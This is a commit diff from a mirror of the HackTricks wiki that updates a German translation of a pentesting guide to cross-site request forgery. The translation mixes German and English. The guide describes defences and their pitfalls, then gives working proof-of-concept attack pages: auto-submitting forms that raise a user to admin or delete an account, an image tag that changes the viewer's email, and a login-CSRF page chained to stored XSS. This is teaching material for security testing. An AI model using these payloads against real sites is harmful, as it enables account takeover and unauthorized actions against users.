mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/csrf-cross-site-request-forgery.md']
This commit is contained in:
parent
854e437234
commit
58835122b6
@ -487,6 +487,7 @@
|
|||||||
- [88tcp/udp - Pentesting Kerberos](network-services-pentesting/pentesting-kerberos-88/README.md)
|
- [88tcp/udp - Pentesting Kerberos](network-services-pentesting/pentesting-kerberos-88/README.md)
|
||||||
- [Harvesting tickets from Windows](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md)
|
- [Harvesting tickets from Windows](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md)
|
||||||
- [Harvesting tickets from Linux](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md)
|
- [Harvesting tickets from Linux](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md)
|
||||||
|
- [Wsgi](network-services-pentesting/pentesting-web/wsgi.md)
|
||||||
- [110,995 - Pentesting POP](network-services-pentesting/pentesting-pop.md)
|
- [110,995 - Pentesting POP](network-services-pentesting/pentesting-pop.md)
|
||||||
- [111/TCP/UDP - Pentesting Portmapper](network-services-pentesting/pentesting-rpcbind.md)
|
- [111/TCP/UDP - Pentesting Portmapper](network-services-pentesting/pentesting-rpcbind.md)
|
||||||
- [113 - Pentesting Ident](network-services-pentesting/113-pentesting-ident.md)
|
- [113 - Pentesting Ident](network-services-pentesting/113-pentesting-ident.md)
|
||||||
|
@ -4,19 +4,19 @@
|
|||||||
|
|
||||||
## Cross-Site Request Forgery (CSRF) Explained
|
## Cross-Site Request Forgery (CSRF) Explained
|
||||||
|
|
||||||
**Cross-Site Request Forgery (CSRF)** ist eine Art von Sicherheitslücke in Webanwendungen. Sie ermöglicht es Angreifern, Aktionen im Namen ahnungsloser Benutzer durchzuführen, indem sie deren authentifizierte Sitzungen ausnutzen. Der Angriff wird ausgeführt, wenn ein Benutzer, der in der Plattform des Opfers eingeloggt ist, eine bösartige Seite besucht. Diese Seite löst dann Anfragen an das Konto des Opfers aus, z. B. durch Ausführen von JavaScript, Absenden von Formularen oder Laden von Bildern.
|
**Cross-Site Request Forgery (CSRF)** ist eine Art Sicherheitslücke in Webanwendungen. Sie ermöglicht es Angreifern, Aktionen im Namen unverdächtiger Benutzer auszuführen, indem sie deren authentifizierte Sitzungen ausnutzen. Der Angriff tritt auf, wenn ein Benutzer, der in die Plattform des Opfers eingeloggt ist, eine bösartige Seite besucht. Diese Seite löst dann Anfragen an das Konto des Opfers aus, z. B. durch Ausführen von JavaScript, Abschicken von Formularen oder Laden von Bildern.
|
||||||
|
|
||||||
### Voraussetzungen für einen CSRF-Angriff
|
### Prerequisites for a CSRF Attack
|
||||||
|
|
||||||
Um eine CSRF-Schwachstelle auszunutzen, müssen mehrere Bedingungen erfüllt sein:
|
Um eine CSRF-Schwachstelle auszunutzen, müssen mehrere Bedingungen erfüllt sein:
|
||||||
|
|
||||||
1. **Identify a Valuable Action**: Der Angreifer muss eine Aktion finden, die sich lohnt auszunutzen, z. B. das Ändern des Passworts, der E-Mail oder das Erhöhen von Rechten.
|
1. **Identify a Valuable Action**: Der Angreifer muss eine lohnende Aktion finden, wie z. B. das Ändern des Passworts, der E-Mail oder das Erhöhen von Privilegien.
|
||||||
2. **Session Management**: Die Sitzung des Benutzers sollte ausschließlich über Cookies oder den HTTP Basic Authentication Header verwaltet werden, da andere Header für diesen Zweck nicht manipuliert werden können.
|
2. **Session Management**: Die Sitzung des Benutzers sollte ausschließlich über Cookies oder den HTTP Basic Authentication-Header verwaltet werden, da andere Header dafür nicht manipuliert werden können.
|
||||||
3. **Absence of Unpredictable Parameters**: Die Anfrage darf keine unvorhersehbaren Parameter enthalten, da diese den Angriff verhindern können.
|
3. **Absence of Unpredictable Parameters**: Die Anfrage darf keine unvorhersehbaren Parameter enthalten, da diese den Angriff verhindern können.
|
||||||
|
|
||||||
### Quick Check
|
### Quick Check
|
||||||
|
|
||||||
Sie können **die Anfrage in Burp abfangen** und die CSRF-Schutzmaßnahmen prüfen; um im Browser zu testen, können Sie auf **Copy as fetch** klicken und die Anfrage prüfen:
|
Du kannst die Anfrage in Burp erfassen und die CSRF-Schutzmaßnahmen prüfen. Um im Browser zu testen, kannst du auf **Copy as fetch** klicken und die Anfrage überprüfen:
|
||||||
|
|
||||||
<figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
@ -24,31 +24,38 @@ Sie können **die Anfrage in Burp abfangen** und die CSRF-Schutzmaßnahmen prüf
|
|||||||
|
|
||||||
Mehrere Gegenmaßnahmen können implementiert werden, um CSRF-Angriffe zu verhindern:
|
Mehrere Gegenmaßnahmen können implementiert werden, um CSRF-Angriffe zu verhindern:
|
||||||
|
|
||||||
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Dieses Attribut verhindert, dass der Browser Cookies zusammen mit Cross-Site-Anfragen sendet. [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
|
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Dieses Attribut verhindert, dass der Browser Cookies bei Cross-Site-Anfragen mitsendet. [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
|
||||||
- [**Cross-origin resource sharing**](cors-bypass.md): Die CORS-Policy der Zielseite kann die Durchführbarkeit des Angriffs beeinflussen, besonders wenn der Angriff das Auslesen der Antwort von der Zielseite erfordert. [Learn about CORS bypass](cors-bypass.md).
|
- [**Cross-origin resource sharing**](cors-bypass.md): Die CORS-Policy der Zielseite kann die Durchführbarkeit des Angriffs beeinflussen, insbesondere wenn der Angriff das Auslesen der Antwort der Zielseite erfordert. [Learn about CORS bypass](cors-bypass.md).
|
||||||
- **User Verification**: Die Abfrage des Benutzerpassworts oder das Lösen eines Captchas kann die Absicht des Benutzers bestätigen.
|
- **User Verification**: Das Abfragen des Benutzerpassworts oder das Lösen eines Captchas kann die Absicht des Benutzers bestätigen.
|
||||||
- **Checking Referrer or Origin Headers**: Die Validierung dieser Header kann helfen sicherzustellen, dass Anfragen von vertrauenswürdigen Quellen stammen. Allerdings können schlecht implementierte Prüfungen durch geschicktes Konstruieren von URLs umgangen werden, z. B.:
|
- **Checking Referrer or Origin Headers**: Das Validieren dieser Header kann helfen sicherzustellen, dass Anfragen aus vertrauenswürdigen Quellen stammen. Sorgfältig gestaltete URLs können jedoch schlecht implementierte Prüfungen umgehen, z. B.:
|
||||||
- Using `http://mal.net?orig=http://example.com` (URL ends with the trusted URL)
|
- Using `http://mal.net?orig=http://example.com` (URL ends with the trusted URL)
|
||||||
- Using `http://example.com.mal.net` (URL starts with the trusted URL)
|
- Using `http://example.com.mal.net` (URL starts with the trusted URL)
|
||||||
- **Modifying Parameter Names**: Das Ändern der Parameternamen in POST- oder GET-Anfragen kann helfen, automatisierte Angriffe zu verhindern.
|
- **Modifying Parameter Names**: Das Ändern von Parameternamen in POST- oder GET-Anfragen kann automatisierte Angriffe erschweren.
|
||||||
- **CSRF Tokens**: Das Einbauen eines eindeutigen CSRF-Tokens in jede Sitzung und das Erfordern dieses Tokens in nachfolgenden Anfragen kann das Risiko von CSRF erheblich verringern. Die Wirksamkeit des Tokens kann durch Durchsetzung von CORS verbessert werden.
|
- **CSRF Tokens**: Das Einbinden eines eindeutigen CSRF-Tokens pro Sitzung und das Erfordern dieses Tokens in nachfolgenden Anfragen kann das Risiko von CSRF erheblich mindern. Die Wirksamkeit des Tokens kann durch die Durchsetzung von CORS weiter verbessert werden.
|
||||||
|
|
||||||
Das Verstehen und Implementieren dieser Schutzmaßnahmen ist entscheidend, um die Sicherheit und Integrität von Webanwendungen zu gewährleisten.
|
Das Verstehen und Umsetzen dieser Schutzmaßnahmen ist entscheidend für die Sicherheit und Integrität von Webanwendungen.
|
||||||
|
|
||||||
|
#### Common pitfalls of defenses
|
||||||
|
|
||||||
|
- SameSite pitfalls: `SameSite=Lax` erlaubt weiterhin Top-Level-Cross-Site-Navigationen wie Links und Formular-GETs, sodass viele GET-basierte CSRFs weiterhin möglich sind. Siehe Cookie-Matrix in [Hacking with Cookies > SameSite](hacking-with-cookies/index.html#samesite).
|
||||||
|
- Header checks: Validiere `Origin`, wenn vorhanden; wenn sowohl `Origin` als auch `Referer` fehlen, sicherheitshalber die Anfrage ablehnen. Verlasse dich nicht auf Substring-/Regex-Vergleiche des `Referer`, die mit Lookalike-Domains oder speziell gestalteten URLs umgangen werden können, und beachte den Trick mit `meta name="referrer" content="never"`.
|
||||||
|
- Method overrides: Behandle überschreibene Methoden (`_method` oder Override-Header) als zustandsändernd und erzwinge CSRF-Prüfungen für die effektive Methode, nicht nur für POST.
|
||||||
|
- Login flows: Wende CSRF-Schutz auch auf Login an; andernfalls ermöglicht Login-CSRF erzwungene Re-Authentifizierungen in von Angreifern kontrollierte Accounts, was mit stored XSS verkettet werden kann.
|
||||||
|
|
||||||
## Defences Bypass
|
## Defences Bypass
|
||||||
|
|
||||||
### From POST to GET (method-conditioned CSRF validation bypass)
|
### From POST to GET (method-conditioned CSRF validation bypass)
|
||||||
|
|
||||||
Einige Anwendungen führen die CSRF-Validierung nur für POST aus und überspringen sie für andere Verben. Ein gängiges Anti-Pattern in PHP sieht z. B. so aus:
|
Einige Anwendungen führen CSRF-Validierung nur für POST durch und überspringen sie für andere HTTP-Verben. Ein gängiges Anti-Pattern in PHP sieht folgendermaßen aus:
|
||||||
```php
|
```php
|
||||||
public function csrf_check($fatal = true) {
|
public function csrf_check($fatal = true) {
|
||||||
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
|
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
|
||||||
// ... validate __csrf_token here ...
|
// ... validate __csrf_token here ...
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Wenn der verwundbare Endpoint auch Parameter aus $_REQUEST akzeptiert, kannst du dieselbe Aktion als GET-Anfrage erneut ausführen und den CSRF-Token vollständig weglassen. Das verwandelt eine nur per POST zugängliche Aktion in eine GET-Aktion, die ohne Token erfolgreich ist.
|
Wenn der verwundbare Endpoint auch Parameter aus $_REQUEST akzeptiert, kannst du dieselbe Aktion als GET-Anfrage erneut ausführen und das CSRF-Token vollständig weglassen. Dadurch wird eine nur per POST verfügbare Aktion in eine GET-Aktion umgewandelt, die ohne Token erfolgreich ist.
|
||||||
|
|
||||||
Example:
|
Beispiel:
|
||||||
|
|
||||||
- Original POST with token (intended):
|
- Original POST with token (intended):
|
||||||
|
|
||||||
@ -66,49 +73,89 @@ GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoLi
|
|||||||
```
|
```
|
||||||
|
|
||||||
Notes:
|
Notes:
|
||||||
- Dieses Muster taucht häufig zusammen mit reflected XSS auf, wenn Antworten fälschlicherweise als text/html statt als application/json ausgeliefert werden.
|
- Dieses Muster tritt häufig zusammen mit reflected XSS auf, wenn Antworten fälschlicherweise als text/html statt als application/json ausgeliefert werden.
|
||||||
- Die Kombination mit XSS senkt die Exploit-Hürden erheblich, da man einen einzigen GET-Link liefern kann, der sowohl den verwundbaren Codepfad auslöst als auch CSRF-Prüfungen vollständig umgeht.
|
- Die Kombination mit XSS senkt die Exploit-Hürden erheblich, da du einen einzelnen GET-Link bereitstellen kannst, der sowohl den verwundbaren Codepfad auslöst als auch CSRF-Prüfungen vollständig umgeht.
|
||||||
|
|
||||||
### Lack of token
|
### Lack of token
|
||||||
|
|
||||||
Anwendungen implementieren möglicherweise einen Mechanismus, um **Tokens zu validieren**, wenn diese vorhanden sind. Es entsteht jedoch eine Schwachstelle, wenn die Validierung vollständig übersprungen wird, sobald der Token fehlt. Angreifer können dies ausnutzen, indem sie den Parameter entfernen, der den Token trägt, nicht nur dessen Wert. Dadurch können sie den Validierungsprozess umgehen und effektiv einen Cross-Site Request Forgery (CSRF) Angriff durchführen.
|
Applications might implement a mechanism to **Token validieren** when they are present. However, a vulnerability arises if the validation is skipped altogether when the token is absent. Attackers can exploit this by **removing the parameter** that carries the token, not just its value. This allows them to circumvent the validation process and conduct a Cross-Site Request Forgery (CSRF) attack effectively.
|
||||||
|
|
||||||
### CSRF token is not tied to the user session
|
Moreover, some implementations only check that the parameter exists but don’t validate its content, so an **empty token value is accepted**. In that case, simply submitting the request with `csrf=` is enough:
|
||||||
|
```http
|
||||||
|
POST /admin/users/role HTTP/2
|
||||||
|
Host: example.com
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
|
||||||
Anwendungen, die CSRF-Tokens nicht an Benutzersitzungen binden, stellen ein erhebliches **Sicherheitsrisiko** dar. Diese Systeme überprüfen Tokens gegen einen **globalen Pool**, anstatt sicherzustellen, dass jeder Token an die auslösende Sitzung gebunden ist.
|
username=guest&role=admin&csrf=
|
||||||
|
```
|
||||||
|
Minimale automatisch absendende PoC (Navigation mit history.pushState verbergen):
|
||||||
|
```html
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<form action="https://example.com/admin/users/role" method="POST">
|
||||||
|
<input type="hidden" name="username" value="guest" />
|
||||||
|
<input type="hidden" name="role" value="admin" />
|
||||||
|
<input type="hidden" name="csrf" value="" />
|
||||||
|
<input type="submit" value="Submit request" />
|
||||||
|
</form>
|
||||||
|
<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
```
|
||||||
|
### CSRF token ist nicht an die Benutzersitzung gebunden
|
||||||
|
|
||||||
So gehen Angreifer hierbei vor:
|
Anwendungen, die CSRF tokens nicht an Benutzersitzungen binden, stellen ein erhebliches Sicherheitsrisiko dar. Diese Systeme verifizieren token gegen einen globalen Pool, anstatt sicherzustellen, dass jedes token an die initiierende Sitzung gebunden ist.
|
||||||
|
|
||||||
1. Sich mit dem eigenen Account authentifizieren.
|
So nutzen Angreifer das aus:
|
||||||
2. Einen gültigen CSRF-Token aus dem globalen Pool beschaffen.
|
|
||||||
3. Diesen Token in einem CSRF-Angriff gegen ein Opfer verwenden.
|
|
||||||
|
|
||||||
Diese Schwachstelle ermöglicht es Angreifern, unautorisierte Anfragen im Auftrag des Opfers zu stellen, indem sie den **unzureichenden Token-Validierungsmechanismus** der Anwendung ausnutzen.
|
1. **Authentifizieren** sich mit ihrem eigenen Konto.
|
||||||
|
2. **Einen gültigen CSRF token erhalten** aus dem globalen Pool.
|
||||||
|
3. **Diesen token verwenden** in einem CSRF attack gegen ein Opfer.
|
||||||
|
|
||||||
### Method bypass
|
Diese Schwachstelle erlaubt es Angreifern, unautorisierte Anfragen im Namen des Opfers zu stellen, indem sie den unzureichenden token-Validierungsmechanismus der Anwendung ausnutzen.
|
||||||
|
|
||||||
Wenn die Anfrage eine "**weird**" **method** verwendet, prüfe, ob die **method override functionality** funktioniert. Zum Beispiel, wenn PUT verwendet wird, kannst du versuchen, POST zu verwenden und zu senden: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
### Methode umgehen
|
||||||
|
|
||||||
Das kann auch funktionieren, indem man das **\_method parameter inside the a POST request** sendet oder die **headers** verwendet:
|
Wenn die Anfrage eine "**merkwürdige**" **Methode** verwendet, prüfe, ob die **method override**-Funktionalität arbeitet. Zum Beispiel, wenn sie eine **PUT/DELETE/PATCH**-Methode verwendet, kannst du versuchen, eine **POST** zu verwenden und ein Override zu senden, z. B. `https://example.com/my/dear/api/val/num?_method=PUT`.
|
||||||
|
|
||||||
- _X-HTTP-Method_
|
Das kann auch funktionieren, indem der **`_method`**-Parameter im POST-Body gesendet wird oder indem Override-Header verwendet werden:
|
||||||
- _X-HTTP-Method-Override_
|
|
||||||
- _X-Method-Override_
|
|
||||||
|
|
||||||
### Custom header token bypass
|
- `X-HTTP-Method`
|
||||||
|
- `X-HTTP-Method-Override`
|
||||||
|
- `X-Method-Override`
|
||||||
|
|
||||||
Wenn die Anfrage einen **custom header** mit einem **token** als **CSRF protection method** hinzufügt, dann:
|
Verbreitet in Frameworks wie **Laravel**, **Symfony**, **Express** und anderen. Entwickler überspringen manchmal CSRF bei Nicht-POST-Verben in der Annahme, dass Browser diese nicht absetzen können; mit Overrides erreichst du diese Handler dennoch über POST.
|
||||||
|
|
||||||
- Teste die Anfrage ohne den **Customized Token and also header.**
|
Beispiel-Request und HTML PoC:
|
||||||
- Teste die Anfrage mit exakt **same length but different token**.
|
```http
|
||||||
|
POST /users/delete HTTP/1.1
|
||||||
|
Host: example.com
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
|
||||||
|
username=admin&_method=DELETE
|
||||||
|
```
|
||||||
|
|
||||||
|
```html
|
||||||
|
<form method="POST" action="/users/delete">
|
||||||
|
<input name="username" value="admin">
|
||||||
|
<input type="hidden" name="_method" value="DELETE">
|
||||||
|
<button type="submit">Delete User</button>
|
||||||
|
</form>
|
||||||
|
```
|
||||||
|
### Umgehung eines Custom-Header-Token
|
||||||
|
|
||||||
|
Wenn die Anfrage einen **custom header** mit einem **token** zur Anfrage als **CSRF protection method** hinzufügt, dann:
|
||||||
|
|
||||||
|
- Teste die Anfrage ohne den **Customized Token und auch den header.**
|
||||||
|
- Teste die Anfrage mit exakt **gleicher Länge, aber anderem token**.
|
||||||
|
|
||||||
### CSRF token is verified by a cookie
|
### CSRF token is verified by a cookie
|
||||||
|
|
||||||
Anwendungen können CSRF-Schutz implementieren, indem sie den Token sowohl in einem Cookie als auch in einem Request-Parameter duplizieren, oder indem sie ein CSRF-Cookie setzen und prüfen, ob der im Backend empfangene Token mit dem Cookie übereinstimmt. Die Anwendung validiert Anfragen, indem sie überprüft, ob der Token im Request-Parameter dem Wert im Cookie entspricht.
|
Anwendungen können CSRF-Schutz implementieren, indem sie den token sowohl in einem cookie als auch in einem request parameter duplizieren oder indem sie ein CSRF cookie setzen und prüfen, ob der im backend gesendete token dem Cookie entspricht. Die Anwendung validiert Anfragen, indem sie überprüft, ob der token im request parameter mit dem Wert im Cookie übereinstimmt.
|
||||||
|
|
||||||
Diese Methode ist jedoch anfällig für CSRF-Angriffe, wenn die Website Schwachstellen besitzt, die es einem Angreifer erlauben, ein CSRF-Cookie im Browser des Opfers zu setzen, wie z. B. eine CRLF-Schwachstelle. Der Angreifer kann dies ausnutzen, indem er ein täuschendes Bild lädt, das das Cookie setzt, und anschließend den CSRF-Angriff startet.
|
Diese Methode ist jedoch anfällig für CSRF-Angriffe, wenn die Website Schwachstellen aufweist, die es einem Angreifer erlauben, ein CSRF cookie im Browser des Opfers zu setzen, z. B. eine CRLF-Schwachstelle. Der Angreifer kann dies ausnutzen, indem er ein täuschendes image lädt, das das Cookie setzt, und danach den CSRF-Angriff initiiert.
|
||||||
|
|
||||||
Im Folgenden ein Beispiel, wie ein solcher Angriff aufgebaut sein könnte:
|
Unten ein Beispiel, wie ein Angriff strukturiert sein könnte:
|
||||||
```html
|
```html
|
||||||
<html>
|
<html>
|
||||||
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
|
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
|
||||||
@ -131,19 +178,19 @@ onerror="document.forms[0].submit();" />
|
|||||||
</html>
|
</html>
|
||||||
```
|
```
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Beachte, dass, wenn der **csrf token in Verbindung mit dem session cookie steht, dieser Angriff nicht funktionieren wird**, da du die Session des Opfers setzen müsstest und dich damit selbst angreifst.
|
> Beachte, dass wenn der **csrf token mit dem session cookie verknüpft ist, dieser Angriff nicht funktionieren wird** — du müsstest dem Opfer deine session setzen und würdest dich damit selbst angreifen.
|
||||||
|
|
||||||
### Änderung des Content-Type
|
### Content-Type-Änderung
|
||||||
|
|
||||||
Laut [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests) sind, um **preflight**-Anfragen bei Verwendung der **POST**-Methode zu **vermeiden**, folgende Content-Type-Werte erlaubt:
|
Laut [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), um **preflight**-Anfragen bei Verwendung der **POST**-Methode zu vermeiden, sind folgende Content-Type-Werte erlaubt:
|
||||||
|
|
||||||
- **`application/x-www-form-urlencoded`**
|
- **`application/x-www-form-urlencoded`**
|
||||||
- **`multipart/form-data`**
|
- **`multipart/form-data`**
|
||||||
- **`text/plain`**
|
- **`text/plain`**
|
||||||
|
|
||||||
Beachte jedoch, dass die **Server-Logik variieren kann**, abhängig vom verwendeten **Content-Type**, daher solltest du die genannten Werte und andere wie **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ ausprobieren.
|
Beachte jedoch, dass die **Server-Logik je nach verwendetem Content-Type variieren kann**, daher solltest du die genannten Werte und auch andere wie **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ ausprobieren.
|
||||||
|
|
||||||
Beispiel (von [here](https://brycec.me/posts/corctf_2021_challenges)) zum Senden von JSON-Daten als text/plain:
|
Example (from [here](https://brycec.me/posts/corctf_2021_challenges)) of sending JSON data as text/plain:
|
||||||
```html
|
```html
|
||||||
<html>
|
<html>
|
||||||
<body>
|
<body>
|
||||||
@ -162,23 +209,23 @@ form.submit()
|
|||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
```
|
```
|
||||||
### Preflight-Anfragen für JSON-Daten umgehen
|
### Umgehung von Preflight-Anfragen für JSON-Daten
|
||||||
|
|
||||||
Beim Versuch, JSON-Daten über eine POST-Anfrage zu senden, ist die Verwendung von `Content-Type: application/json` in einem HTML-Formular nicht direkt möglich. Ebenso löst die Nutzung von `XMLHttpRequest` zum Senden dieses Content-Types eine Preflight-Anfrage aus. Dennoch gibt es Strategien, diese Einschränkung eventuell zu umgehen und zu prüfen, ob der Server die JSON-Daten unabhängig vom Content-Type verarbeitet:
|
Beim Versuch, JSON-Daten über einen POST-Request zu senden, ist die Verwendung von `Content-Type: application/json` in einem HTML-Formular nicht direkt möglich. Ebenso löst die Nutzung von `XMLHttpRequest`, um diesen Content-Type zu senden, eine Preflight-Anfrage aus. Es gibt jedoch Strategien, um diese Einschränkung womöglich zu umgehen und zu prüfen, ob der Server die JSON-Daten unabhängig vom Content-Type verarbeitet:
|
||||||
|
|
||||||
1. **Andere Content-Types verwenden**: Verwende `Content-Type: text/plain` oder `Content-Type: application/x-www-form-urlencoded`, indem du `enctype="text/plain"` im Formular setzt. Dieser Ansatz testet, ob das Backend die Daten unabhängig vom Content-Type nutzt.
|
1. **Use Alternative Content Types**: Verwende `Content-Type: text/plain` oder `Content-Type: application/x-www-form-urlencoded`, indem du `enctype="text/plain"` im Formular setzt. Dieser Ansatz prüft, ob das Backend die Daten unabhängig vom Content-Type nutzt.
|
||||||
2. **Content-Type ändern**: Um eine Preflight-Anfrage zu vermeiden und gleichzeitig sicherzustellen, dass der Server den Inhalt als JSON erkennt, kannst du die Daten mit `Content-Type: text/plain; application/json` senden. Das löst keine Preflight-Anfrage aus, kann aber vom Server korrekt verarbeitet werden, wenn er so konfiguriert ist, `application/json` zu akzeptieren.
|
2. **Modify Content Type**: Um eine Preflight-Anfrage zu vermeiden und gleichzeitig sicherzustellen, dass der Server den Inhalt als JSON erkennt, kannst du die Daten mit `Content-Type: text/plain; application/json` senden. Das löst keine Preflight-Anfrage aus, könnte aber vom Server korrekt verarbeitet werden, wenn dieser so konfiguriert ist, `application/json` zu akzeptieren.
|
||||||
3. **SWF/Flash-Datei nutzen**: Eine weniger verbreitete, aber mögliche Methode besteht darin, eine SWF-/Flash-Datei zu verwenden, um solche Beschränkungen zu umgehen. Für ein tieferes Verständnis dieser Technik siehe [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
3. **SWF Flash File Utilization**: Eine weniger verbreitete, aber mögliche Methode besteht darin, eine SWF-Flash-Datei zu verwenden, um solche Beschränkungen zu umgehen. Für ein tieferes Verständnis dieser Technik siehe [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||||
|
|
||||||
### Referrer / Origin-Prüfung umgehen
|
### Referrer / Origin-Prüfung umgehen
|
||||||
|
|
||||||
**Referer-Header vermeiden**
|
**Referrer-Header vermeiden**
|
||||||
|
|
||||||
Anwendungen prüfen den 'Referer'-Header möglicherweise nur, wenn er vorhanden ist. Um zu verhindern, dass ein Browser diesen Header sendet, kann das folgende HTML-meta-Tag verwendet werden:
|
Anwendungen validieren möglicherweise den 'Referer'-Header nur, wenn er vorhanden ist. Um zu verhindern, dass ein Browser diesen Header sendet, kann das folgende HTML-meta-Tag verwendet werden:
|
||||||
```xml
|
```xml
|
||||||
<meta name="referrer" content="never">
|
<meta name="referrer" content="never">
|
||||||
```
|
```
|
||||||
Dies stellt sicher, dass der 'Referer'-Header weggelassen wird, wodurch möglicherweise Validierungsprüfungen in einigen Anwendungen umgangen werden.
|
Das stellt sicher, dass der 'Referer'-Header weggelassen wird, wodurch Validierungsprüfungen in einigen Anwendungen möglicherweise umgangen werden.
|
||||||
|
|
||||||
**Regexp bypasses**
|
**Regexp bypasses**
|
||||||
|
|
||||||
@ -187,7 +234,7 @@ Dies stellt sicher, dass der 'Referer'-Header weggelassen wird, wodurch möglich
|
|||||||
ssrf-server-side-request-forgery/url-format-bypass.md
|
ssrf-server-side-request-forgery/url-format-bypass.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
Um den Domainnamen des Servers in der URL festzulegen, den der Referrer in den Parametern senden wird, können Sie Folgendes tun:
|
Um den Domainnamen des Servers in der URL festzulegen, den der Referrer innerhalb der Parameter senden wird, können Sie Folgendes tun:
|
||||||
```html
|
```html
|
||||||
<html>
|
<html>
|
||||||
<!-- Referrer policy needed to send the qury parameter in the referrer -->
|
<!-- Referrer policy needed to send the qury parameter in the referrer -->
|
||||||
@ -218,23 +265,59 @@ document.forms[0].submit()
|
|||||||
```
|
```
|
||||||
### **HEAD method bypass**
|
### **HEAD method bypass**
|
||||||
|
|
||||||
Der erste Teil von [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) erklärt, dass [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), ein Router so konfiguriert ist, **HEAD requests als GET requests behandelt** werden ohne response body – ein gängiger Workaround, der nicht auf Oak beschränkt ist. Anstatt eines spezifischen Handlers, der HEAD reqs behandelt, werden diese einfach **dem GET handler übergeben, aber die App entfernt einfach den response body**.
|
Im ersten Teil von [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) wird erklärt, dass [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), ein Router so eingestellt ist, **handle HEAD requests as GET requests** mit no response body - ein gängiger Workaround, der nicht auf Oak beschränkt ist.
|
||||||
|
Anstatt eines speziellen Handlers, der sich mit HEAD reqs beschäftigt, werden sie einfach **given to the GET handler but the app just removes the response body**.
|
||||||
|
|
||||||
Daher, wenn ein GET request eingeschränkt wird, könntest du einfach **einen HEAD request senden, der als GET request verarbeitet wird**.
|
Daher, wenn ein GET request eingeschränkt wird, könntest du einfach **send a HEAD request that will be processed as a GET request**.
|
||||||
|
|
||||||
## **Exploit Examples**
|
## **Exploit Examples**
|
||||||
|
|
||||||
### **Exfiltrating CSRF Token**
|
### Stored CSRF via user-generated HTML
|
||||||
|
|
||||||
Wenn ein **CSRF token** als **defence** verwendet wird, könntest du versuchen, ihn zu **exfiltrieren**, indem du eine [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) vulnerability oder eine [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) vulnerability ausnutzt.
|
Wenn rich-text editors oder HTML injection erlaubt sind, kannst du einen persistierenden passiven fetch einbetten, der ein verwundbares GET endpoint anspricht. Jeder Benutzer, der den Inhalt ansieht, führt die Anfrage automatisch mit seinen cookies aus.
|
||||||
|
|
||||||
### **GET using HTML tags**
|
- Wenn die App einen globalen CSRF token verwendet, der nicht an die user session gebunden ist, kann derselbe token für alle Benutzer funktionieren, wodurch stored CSRF über verschiedene Opfer hinweg zuverlässig wird.
|
||||||
|
|
||||||
|
Minimal example that changes the viewer’s email when loaded:
|
||||||
|
```html
|
||||||
|
<img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">
|
||||||
|
```
|
||||||
|
### Login CSRF kombiniert mit stored XSS
|
||||||
|
|
||||||
|
Login CSRF allein kann geringen Impact haben, aber in Kombination mit einem authentifizierten stored XSS wird es mächtig: zwinge das Opfer, sich in ein vom Angreifer kontrolliertes Konto einzuloggen; sobald der Kontext hergestellt ist, führt ein stored XSS auf einer authentifizierten Seite aus und kann tokens stehlen, die session hijacken oder Privilegien eskalieren.
|
||||||
|
|
||||||
|
- Stelle sicher, dass der Login-Endpoint CSRF-able ist (kein per-session token oder origin check) und dass keine Benutzerinteraktionsprüfungen dies verhindern.
|
||||||
|
- Nach dem erzwungenen Login automatisch zu einer Seite navigieren, die das stored XSS payload des Angreifers enthält.
|
||||||
|
|
||||||
|
Minimaler login-CSRF PoC:
|
||||||
|
```html
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<form action="https://example.com/login" method="POST">
|
||||||
|
<input type="hidden" name="username" value="attacker@example.com" />
|
||||||
|
<input type="hidden" name="password" value="StrongPass123!" />
|
||||||
|
<input type="submit" value="Login" />
|
||||||
|
</form>
|
||||||
|
<script>
|
||||||
|
history.pushState('', '', '/');
|
||||||
|
document.forms[0].submit();
|
||||||
|
// Optionally redirect to a page with stored XSS in the attacker account
|
||||||
|
// location = 'https://example.com/app/inbox';
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
